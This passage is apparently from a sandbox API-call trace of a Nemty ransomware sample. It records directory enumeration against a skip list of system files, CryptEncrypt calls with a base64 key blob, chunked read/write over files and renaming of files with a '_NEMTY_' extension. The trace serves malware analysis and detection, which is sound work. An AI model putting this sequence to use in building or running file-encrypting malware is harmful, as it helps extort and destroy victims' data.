SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.892] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.892] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.901] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.901] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.911] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.939] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.939] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.964] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340378, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0113.970] CloseHandle (hObject=0xffffffff) returned 0 [0113.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0113.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404e8 [0113.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0113.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0113.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.971] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\clock.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\clock.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\clock.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\clock.js._nemty_kgobjgd_")) returned 0 [0113.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0113.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0113.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0113.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340378 | out: hHeap=0x4f90000) returned 1 [0113.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0113.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0113.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0113.971] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5c4e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings.js", cAlternateFileName="")) returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2=".") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="..") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="...") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="windows") returned -1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="$RECYCLE.BIN") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="rsa") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="NTDETECT.COM") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="ntldr") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="MSDOS.SYS") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="IO.SYS") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="boot.ini") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="boot.ini") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="AUTOEXEC.BAT") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="ntuser.dat") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="desktop.ini") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="CONFIG.SYS") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="RECYCLER") returned 1 [0113.971] lstrcmpiW (lpString1="settings.js", lpString2="BOOTSECT.BAK") returned 1 [0113.972] lstrcmpiW (lpString1="settings.js", lpString2="bootmgr") returned 1 [0113.972] lstrcmpiW (lpString1="settings.js", lpString2="programdata") returned 1 [0113.972] lstrcmpiW (lpString1="settings.js", lpString2="appdata") returned 1 [0113.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0113.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0113.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0113.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0113.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0113.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0113.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0113.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0113.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340378 [0113.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0113.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340420 [0113.972] Sleep (dwMilliseconds=0x5) [0113.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xf796a3d0, dwHighDateTime=0x1d561e7)) [0113.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xf796a3d0, dwHighDateTime=0x1d561e7)) [0113.987] GetLastError () returned 0x5 [0113.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.987] GetLastError () returned 0x5 [0113.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.987] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0113.987] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0113.988] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0113.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0113.988] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653e5dc | out: pszString="F2IEoKOE5T1pkx0h6WteKJrutyX/5H3SS4WHEia/z4hQC05RCavDvgSjnVfrVlaW\r\n5K9LbCzqfGgEGl96LpkLwrSM1Dsdyi3K3Mve8Dcf2z6s1VYFUUwiBVYxDx+oPSfh\r\ngjPcspbfa4k0Yvg70F8wEqwR+uFeoxwmRxtXOY3UjUBjv2CMpB91Dc1bAN/BlJg+\r\nV4lNfLftW4wnJXbxaNjfpqqvFdJIAuhZ5VBe1e0vebge3UNwnXmoKQPqUq3ZQfOr\r\n5qVodEfQ+JL/HM/hM27E2ZagJVKwJ52mgMcrBzrHZoVXj21T9s8Pe98DAsB0I46S\r\ne+gB9eEu5XA19m2156siRg==\r\n", pcchString=0x653e5dc) returned 1 [0113.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0113.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0113.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0113.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0113.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0113.988] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\settings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0113.989] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0113.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0113.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.989] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.998] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.998] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.019] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.019] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.029] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.029] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.038] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.038] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.048] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, 